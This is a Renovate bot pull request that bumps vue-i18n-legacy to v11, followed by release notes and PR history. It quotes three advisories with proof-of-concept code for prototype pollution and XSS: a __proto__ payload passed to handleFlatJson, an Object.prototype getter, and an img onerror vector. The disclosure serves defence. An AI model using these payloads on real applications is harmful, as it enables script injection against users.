chore(deps): update dependency vue-i18n-legacy to v11 [security] #103

renovate · 2024-12-02T19:53:25Z

Note: This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
vue-i18n-legacy (source)	`8` -> `11`

GitHub Vulnerability Alerts

CVE-2024-52809

Vulnerability type

XSS

Description

vue-i18n can be passed locale messages to createI18n or useI18n.
we can then translate them using t and $t.
vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as @intlify/unplugin-vue-i18n and bulder to convert the AST in advance when building the application.
By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.

The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a static property, but that is just one of the optimizations.
About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts

In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.

Reproduce (PoC)

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>vue-i18n XSS</title>
    <script src="https://unpkg.com/vue@3"></script>
    <script src="https://unpkg.com/vue-i18n@10"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script> 
 </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        legacy: false,
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>

Workarounds

Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.

jit compilation: https://vue-i18n.intlify.dev/guide/advanced/optimization.html#jit-compilation
bundler plugin option: https://github.com/intlify/bundle-tools/tree/main/packages/unplugin-vue-i18n#jitcompilation

References

Simillar case: Vue 2 XSS vulnerability with prototype pollution

CVE-2025-27597

Vulnerability type:
Prototype Pollution

Vulnerability Location(s):

# v9.1
node_modules/@&#8203;intlify/message-resolver/index.js

# v9.2 or later
node_modules/@&#8203;intlify/vue-i18n-core/index.js

Description:

The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @&#8203;intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@&#8203;intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();

CVE-2025-53892

Summary

The escapeParameterHtml: true option in Vue I18n is designed to protect against HTML/script injection by escaping interpolated parameters. However, this setting fails to prevent execution of certain tag-based payloads, such as <img src=x onerror=...>, if the interpolated value is inserted inside an HTML context using v-html.

This may lead to a DOM-based XSS vulnerability, even when using escapeParameterHtml: true, if a translation string includes minor HTML and is rendered via v-html.

Details

When escapeParameterHtml: true is enabled, it correctly escapes common injection points.

However, it does not sanitize entire attribute contexts, which can be used as XSS vectors via:

<img src=x onerror=alert(1)>

PoC

In your Vue I18n configuration:

const i18n = createI18n({
  escapeParameterHtml: true,
  messages: {
    en: {
      vulnerable: 'Caution: <img src=x onerror="{payload}">'
    }
  }
});

Use this interpolated payload:

const payload = '<script>alert("xss")</script>';
Render the translation using v-html (even not using v-html):

<p v-html="$t('vulnerable', { payload })"></p>
Expected: escaped content should render as text, not execute.

Actual: script executes in some environments (or the payload is partially parsed as HTML).

Impact

This creates a DOM-based Cross-Site Scripting (XSS) vulnerability despite enabling a security option (escapeParameterHtml) .

Release Notes

intlify/vue-i18n (vue-i18n-legacy)

`v11.2.2`

Compare Source

What's Changed

🐛 Bug Fixes

fix: avoid bundler static analysis for namespace import by @kazupon in #2326

Full Changelog: intlify/vue-i18n@v11.2.1...v11.2.2

fix: DOM-based XSS via tag attributes for escape parameter, about details see GHSA-x8qp-wqqm-57ph

Full Changelog: intlify/vue-i18n@v11.1.9...v11.1.10

🌟 Features

feat: Part options support $n by @mauryapari in #2175
feat: Part options support $d by @mauryapari in #2180

⚡ Improvement Features

fix: support vue core internal slot key changing by @kazupon in #2190

Full Changelog: intlify/vue-i18n@v11.1.3...v11.1.4

`v11.1.3`

Compare Source

What's Changed

🐛 Bug Fixes

fix: cannot resolve the ast messages which has json path for v11 by @kazupon in #2159

⚡ Improvement Features

fix: duplicate generated type config naming by @BobbieGoede in #2158

Full Changelog: intlify/vue-i18n@v11.1.2...v11.1.3

`v11.1.2`

Compare Source

What's Changed

🔒 Security Fixes

fix: prototype pollution in handleFlatJson, about details see GHSA-p2ph-7g93-hw3m

Full Changelog: intlify/vue-i18n@v11.1.1...v11.1.2

`v11.1.1`

Compare Source

Full Changelog: intlify/vue-i18n@v11.1.0...v11.1.1

`v11.1.0`

Compare Source

What's Changed

🌟 Features

feat: configurable ComponentCustomProperties['$i18n'] type by @BobbieGoede in #2094

📝️ Documentations

fix: vue-i18n v8 EOL by @kazupon in #2060

Full Changelog: intlify/vue-i18n@v11.0.1...v11.1.0

`v11.0.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

feat: reactive availableLocales using computed property by @mnenie in #2058
feat: configurable ComponentCustomProperties['$i18n'] type by @BobbieGoede in #2093
feat(core-base): accessor for locale messages by @kazupon in #2135

🐛 Bug Fixes

Fix: Synchronous Watcher Issue Caused by Locale Setting Order by @lcjnil in #2104

💥 Breaking Changes

breaking: drop custom directive v-t by @kazupon in #2061
feat!: change to mangle option name from minify option name by @kazupon in #2064
drop node v18 by @babu-ch in #2109
drop Legacy API by @babu-ch in #2110
ship ESM only by @babu-ch in #2112

⚡ Improvement Features

fix: update MountOptions.components type by @johnsoncodehk in #2128

📈 Performance Fixes

perf: more optimize bundle size by @kazupon in #2065

📝️ Documentations

docs: API reference for multi version preparation by @kazupon in #2059
fix(installation.md): update installation commands for package manager by @Vincere1st in #2081
Update introduction.md by @ismailsabet in #2095
Update CONTRIBUTING.md by @babu-ch in #2111
docs: clarify v-t limitations and reactivity behavior by @docnoe in #2118

New Contributors

@mnenie made their first contribution in #2058
@Vincere1st made their first contribution in #2081
@ismailsabet made their first contribution in #2095
@lcjnil made their first contribution in #2104
@babu-ch made their first contribution in #2109
@johnsoncodehk made their first contribution in #2128

Full Changelog: intlify/vue-i18n@v11.0.1...v12.0.0-alpha.1

`v11.0.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚡ Improvement Features

fix: v-t custom directive warning when it will run by @kazupon in #2057

Full Changelog: intlify/vue-i18n@v11.0.0...v11.0.1

`v10.0.8`

Compare Source

What's Changed

🔒 Security Fixes

fix: DOM-based XSS via tag attributes for escape parameter by @kazupon in #2229

Full Changelog: intlify/vue-i18n@v10.0.7...v10.0.8

`v10.0.7`

Compare Source

What's Changed

🐛 Bug Fixes

fix: cannot resolve the ast messages which has json path for v10 by @kazupon in #2160

Full Changelog: intlify/vue-i18n@v10.0.6...v10.0.7

`v10.0.6`

Compare Source

What's Changed

🔒 Security Fixes

fix: prototype pollution in handleFlatJson, about details see GHSA-p2ph-7g93-hw3m

Full Changelog: intlify/vue-i18n@v10.0.5...v10.0.6

`v10.0.5`

Compare Source

What's Changed

🔒 Security Fixes

fix: XSS vulnerability with prototype pollution on AST: GHSA-9r9m-ffp6-9x4v
fix: prototype pollusion on deepCopy: GHSA-hjwq-mjwj-4x6c

Full Changelog: intlify/vue-i18n@v10.0.4...v10.0.5

`v10.0.4`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

Deprecate Legacy API mode

The Legacy API mode was the API mode compatible with v8 for Vue 2. When v9 was released, the Legacy API was provided to smooth the migration from v8 to v9.

Legacy API mode will be deprecated in v11, as previous vue-i18n releases have already provided the following to support migration to Composition API mode

Migration from Legacy API mode to Composition API mode, see the docs
Composition API usage, see the docs

For compatibility, Legacy API mode still works in v11, but will be removed entirely in v12, so Legacy API mode will not work after that version.

Deprecate Custom Directive `v-t`

The advantage of v-t was that it could optimize performance using the vue compiler transform and the pre-translation of vue-i18n-extension.

This feature was supported from Vue 2.
About details see the blog article

In Vue 3, due to the Composition API, the pre-translation of vue-i18n-extension is now limited only for global scope.

In addition, Vue 3 Virtual DOM optimization has been introduced, and the optimization provided by vue-i18n-extension is no longer very effective. We need to require settings for SSR, the benefits of using v-t have disappeared. And DX of templates using v-t is not good. Custom directives do not work with key completion in editors (e.g. vscode).

For compatibility, v-t mode still works in v11, but will be removed entirely in v12, so v-t will not work after that version.

Drop `tc` and `$tc` for Legacy API mode

These APIs had already deprecated in warning about being dropped in v11. docs says

Vue I18n maintenance Status

Vue I18n v8 is no longer supported after 2025. Vue I18n v9 and Vue I18n v10 is in maintenance mode after 2025 July.

With the release of Vue I18n v11, that version will become mainstream.

The maintenance detail status of Vue I18n v9 and Vue I18n v10 is as follows:

You can check the maintenance status on the docs

❗ Breaking Changes

feat!: deprecate Legacy API mode by @kazupon in #2016
breaking: drop $tc and tc by @kazupon in #2017
feat!: deprecate v-t custom directive by @kazupon in #2045

⚡ Improvement Features

fix: tm function should accept DefineLocaleMessage key type by @BobbieGoede in #2014

🔒 Security Fixes

fix: security vulnerability fix porting by @kazupon in #2034

📝️ Documentations

Change config prop for quasar flags by @chrissyast in #2003
docs: Pluralization Page by @Sammuel09 in #1998
docs: fix composition section by @Sammuel09 in #2008
fix(docs): correct output in composition api example by @pejeio in #2012
docs: not use deprecated api by @kazupon in #2013
docs: fix wrong plural example by @kazupon in #2033
docx(pluralization.md): Correct spelling from 'gloal' to 'global' by @PuppyOne in #2038
Fix typo by @shaedrich in #2040
Fix another typo by @shaedrich in #2041
docs: add maintenance status by @kazupon in #2044

👋 New Contributors

@chrissyast made their first contribution in #2003
@Sammuel09 made their first contribution in #1998
@pejeio made their first contribution in #2012
@PuppyOne made their first contribution in #2038
@shaedrich made their first contribution in #2040

Full Changelog: intlify/vue-i18n@v10.0.4...v11.0.0

`v10.0.3`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: cannot resolve empty string on plural by @kazupon in #1985

📝️ Documentations

Add petite-vue-i18n package to README by @vikingair in #1971

New Contributors

@vikingair made their first contribution in #1971

Full Changelog: intlify/vue-i18n@v10.0.3...v10.0.4

`v10.0.2`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix(petite-vue-i18n): cannot register correctly message resolver and locale fallbacker by @kazupon in #1967

📝️ Documentations

docs: add unplugin-vue-i18n setting for petite-vue-i18n by @kazupon in #1968

Full Changelog: intlify/vue-i18n@v10.0.2...v10.0.3

`v10.0.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚡ Improvement Features

fix: revert #1379 by @BobbieGoede in #1953
fix: messages deepCopy mutates src arguments by @BobbieGoede in #1947

📝️ Documentations

docs: add team members by @kazupon in #1951
docs: add how to use shared locale messages on composition api by @kazupon in #1964

Full Changelog: intlify/vue-i18n@v10.0.1...v10.0.2

`v10.0.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: petite-vue-i18n type errors by @TPORL in #1945

New Contributors

@TPORL made their first contribution in #1945

Full Changelog: intlify/vue-i18n@v10.0.0...v10.0.1

`v9.14.5`

Compare Source

What's Changed

🔒 Security Fixes

fix: DOM-based XSS via tag attributes for escape parameter by @kazupon in #2230

Full Changelog: intlify/vue-i18n@v9.14.4...v9.14.5

`v9.14.4`

Compare Source

What's Changed

🐛 Bug Fixes

fix: cannot resolve the ast messages which has json path for v9 by @kazupon in #2162

Full Changelog: intlify/vue-i18n@v9.14.3...v9.14.4

`v9.14.3`

Compare Source

What's Changed

🔒 Security Fixes

fix: prototype pollution in handleFlatJson, about details see GHSA-p2ph-7g93-hw3m

Full Changelog: intlify/vue-i18n@v9.14.2...v9.14.3

`v9.14.2`

Compare Source

What's Changed

🔒 Security Fixes

fix: XSS vulnerability with prototype pollution on AST: GHSA-9r9m-ffp6-9x4v
fix: prototype pollusion on deepCopy: GHSA-hjwq-mjwj-4x6c

Full Changelog: intlify/vue-i18n@v9.14.1...v9.14.2

`v9.14.1`

Compare Source

What's Changed

🐛 Bug Fixes

fix: messages deepCopy mutates src arguments by @BobbieGoede in #1975

Full Changelog: intlify/vue-i18n@v9.14.0...v9.14.1

`v9.14.0`

Compare Source

What's Changed

⚡ Improvement Features

fix: vue-i18n type definition for vue package by @BobbieGoede in #1919

Full Changelog: intlify/vue-i18n@v9.13.1...v9.14.0

`v9.13.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

💥 Breaking Changes

breaking: drop modulo syntax by @kazupon in intlify/vue-i18n-next#1814

Full Changelog: intlify/vue-i18n@v9.13.1...v10.0.0-alpha.1

`v9.13.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix(message-compiler): cannot resolve none-identifier characters at linked key by @kazupon in intlify/vue-i18n-next#1813

Full Changelog: intlify/vue-i18n@v9.13.0...v9.13.1

`v9.12.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚠️ Deprecated Features

fix: EOL announcement warning for vue-i18n-bridge by @kazupon in intlify/vue-i18n-next#1800

⚡ Improvement Features

fix: not throw warnings when using implicit fallback by @ShinnosukeKomiya in intlify/vue-i18n-next#1798

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: compile error for key with included hyphen in named interpolation by @kazupon in intlify/vue-i18n-next#1797

👕 Refactoring

refactor: tokenizer by @kazupon in intlify/vue-i18n-next#1799

Full Changelog: intlify/vue-i18n@v9.12.0...v9.12.1

`v9.11.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

fix: deprecate named interpolation with modulo syntax by @kazupon in intlify/vue-i18n-next#1795

Full Changelog: intlify/vue-i18n@v9.11.1...v9.12.0

`v9.11.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: regression triple slash including in .d.ts by @kazupon in intlify/vue-i18n-next#1794

Full Changelog: intlify/vue-i18n@v9.11.0...v9.11.1

`v9.10.2`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

fix: number and date format components not using scope prop by @BobbieGoede in intlify/vue-i18n-next#1786

New Contributors

@xuanzhi33 made their first contribution in intlify/vue-i18n-next#1767
@YoshiYo made their first contribution in intlify/vue-i18n-next#1781

Full Changelog: intlify/vue-i18n@v9.10.2...v9.11.0

`v9.10.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: manually add triple slash directive to message-compiler by @BobbieGoede in intlify/vue-i18n-next#1766

New Contributors

@shinGangan made their first contribution in intlify/vue-i18n-next#1763

Full Changelog: intlify/vue-i18n@v9.10.1...v9.10.2

`v9.10.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚡ Improvement Features

chore(fix): #1630 make the install function synchronous to be aligned… by @k-paxian in intlify/vue-i18n-next#1631

📝️ Documentations

docs: wrong te docs by @kazupon in intlify/vue-i18n-next#1753

New Contributors

@k-paxian made their first contribution in intlify/vue-i18n-next#1631

Full Changelog: intlify/vue-i18n@v9.10.0...v9.10.1

`v9.9.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

fix: Support for te behavior compatibility before v9.6 by @kazupon in intlify/vue-i18n-next#1751

📝️ Documentations

docs: update description of Nuxt I18n and its status by @BobbieGoede in intlify/vue-i18n-next#1739

New Contributors

@twolfvb made their first contribution in intlify/vue-i18n-next#1732
@ismailarilik made their first contribution in intlify/vue-i18n-next#1722

Full Changelog: intlify/vue-i18n@v9.9.1...v9.10.0

`v9.9.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: key-value style messages broken after merging (#1717) by @chojnicki in intlify/vue-i18n-next#1718

📝️ Documentations

chore(typo): update injection.md by @quentinmcq in intlify/vue-i18n-next#1716
Update syntax.md by @hinogi in intlify/vue-i18n-next#1701

New Contributors

@chojnicki made their first contribution in intlify/vue-i18n-next#1718
@quentinmcq made their first contribution in intlify/vue-i18n-next#1716
@hinogi made their first contribution in intlify/vue-i18n-next#1701

Full Changelog: intlify/vue-i18n@v9.9.0...v9.9.1

`v9.8.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚡ Improvement Features

Register vue jsx types in tsx test by @yyx990803 in intlify/vue-i18n-next#1661
chore: improve Vue type definition appending by @NozomuIkuta in intlify/vue-i18n-next#1671

📈 Performance Fixes

fix: lower memory usage by @BobbieGoede in intlify/vue-i18n-next#1677

📝️ Documentations

Update installation.md by @KumJungMin in intlify/vue-i18n-next#1676

New Contributors

@yyx990803 made their first contribution in intlify/vue-i18n-next#1661
@KumJungMin made their first contribution in intlify/vue-i18n-next#1676

Full Changelog: intlify/vue-i18n@v9.8.0...v9.9.0

`v9.7.1`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

feat: more strictly return type locale detector by @kazupon in intlify/vue-i18n-next#1640

Full Changelog: intlify/vue-i18n@v9.7.1...v9.8.0

`v9.7.0`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

⚡ Improvement Features

fix: tweak @intlify/core conditional exports by @kazupon in intlify/vue-i18n-next#1639

Full Changelog: intlify/vue-i18n@v9.7.0...v9.7.1

`v9.6.5`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🌟 Features

feat: export message merging utilities to shared module by @BobbieGoede in intlify/vue-i18n-next#1635

Full Changelog: intlify/vue-i18n@v9.6.5...v9.7.0

`v9.6.4`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: Nuxt I18n type inference by @BobbieGoede in intlify/vue-i18n-next#1628

New Contributors

@BobbieGoede made their first contribution in intlify/vue-i18n-next#1628

Full Changelog: intlify/vue-i18n@v9.6.4...v9.6.5

`v9.6.3`

Compare Source

This changelog is generated by GitHub Releases

What's Changed

🐛 Bug Fixes

fix: wrong source getting by @kazupon in [intlify/vue-i1

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate bot added the Type: Dependency label Dec 2, 2024

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] - autoclosed Dec 8, 2024

renovate bot closed this Dec 8, 2024

renovate bot deleted the renovate/npm-vue-i18n-legacy-vulnerability branch December 8, 2024 19:01

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security] - autoclosed~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Dec 8, 2024

renovate bot reopened this Dec 8, 2024

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from ddfea19 to 3f4ac72 Compare December 8, 2024 22:01

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 3f4ac72 to be5b346 Compare December 17, 2024 19:56

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v10 [security] Dec 17, 2024

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from be5b346 to be692fb Compare December 17, 2024 23:51

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v10 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Dec 17, 2024

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from be692fb to a1f820f Compare December 22, 2024 18:57

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v10 [security] Dec 22, 2024

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from a1f820f to 5fff31c Compare December 22, 2024 21:29

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v10 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Dec 22, 2024

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 5fff31c to 81760e2 Compare January 14, 2025 17:28

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Jan 14, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 81760e2 to 1d9ba05 Compare January 15, 2025 00:00

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Jan 15, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 1d9ba05 to dcef09d Compare January 23, 2025 17:03

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Jan 23, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from dcef09d to 8b80aa8 Compare January 23, 2025 21:28

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Jan 23, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 8b80aa8 to 209f31c Compare January 30, 2025 17:50

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Jan 30, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 209f31c to c4fe81f Compare January 30, 2025 21:41

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Jan 30, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from c4fe81f to 6af586a Compare February 9, 2025 13:34

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Feb 9, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 6af586a to 41ffc03 Compare February 9, 2025 17:57

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Aug 31, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 9043623 to 306504c Compare August 31, 2025 14:08

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Aug 31, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 306504c to 278187d Compare September 25, 2025 16:27

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Sep 25, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 278187d to a3e6812 Compare September 25, 2025 23:04

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Sep 25, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from a3e6812 to 0727bff Compare October 9, 2025 11:10

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Oct 9, 2025

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Oct 9, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 0727bff to bc0593a Compare October 9, 2025 15:34

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from bc0593a to 07eb12b Compare October 21, 2025 21:01

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Oct 21, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 07eb12b to 534d271 Compare October 22, 2025 10:38

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Oct 22, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 534d271 to 1358dcc Compare November 10, 2025 19:56

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Nov 10, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 1358dcc to 9e0c97c Compare November 11, 2025 04:06

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Nov 11, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 9e0c97c to f6a5a52 Compare November 19, 2025 00:36

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Nov 19, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from f6a5a52 to 6539bbf Compare November 19, 2025 04:55

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Nov 19, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 6539bbf to a45006e Compare December 3, 2025 18:09

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Dec 3, 2025

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from a45006e to 6fef4a8 Compare December 3, 2025 20:56

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v11 [security]~~ chore(deps): update dependency vue-i18n-legacy to v9 [security] Dec 3, 2025

chore(deps): update dependency vue-i18n-legacy to v11 [security]

3df56da

renovate bot force-pushed the renovate/npm-vue-i18n-legacy-vulnerability branch from 6fef4a8 to 3df56da Compare December 15, 2025 17:43

renovate bot changed the title ~~chore(deps): update dependency vue-i18n-legacy to v9 [security]~~ chore(deps): update dependency vue-i18n-legacy to v11 [security] Dec 15, 2025

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Uh oh!

chore(deps): update dependency vue-i18n-legacy to v11 [security] #103

chore(deps): update dependency vue-i18n-legacy to v11 [security] #103

renovate bot commented Dec 2, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Uh oh!

chore(deps): update dependency vue-i18n-legacy to v11 [security] #103

Are you sure you want to change the base?

chore(deps): update dependency vue-i18n-legacy to v11 [security] #103

Conversation

renovate bot commented Dec 2, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Vulnerability type

Description

Reproduce (PoC)

Workarounds

References

Summary

Details

PoC

Impact

Release Notes

What's Changed

🐛 Bug Fixes

What's Changed

⚡ Improvement Features

What's Changed

⚡ Improvement Features

🔒 Security Fixes

What's Changed

⚡ Improvement Features

What's Changed

🐛 Bug Fixes

What's Changed

⚡ Improvement Features

What's Changed

🐛 Bug Fixes

What's Changed

🌟 Features

⚡ Improvement Features

What's Changed

🐛 Bug Fixes

⚡ Improvement Features

What's Changed

🔒 Security Fixes

What's Changed

🌟 Features

📝️ Documentations

What's Changed

🌟 Features

🐛 Bug Fixes

💥 Breaking Changes

⚡ Improvement Features

📈 Performance Fixes

📝️ Documentations

New Contributors

What's Changed

⚡ Improvement Features

What's Changed

🔒 Security Fixes

What's Changed

🐛 Bug Fixes

What's Changed

🔒 Security Fixes

What's Changed

🔒 Security Fixes

What's Changed

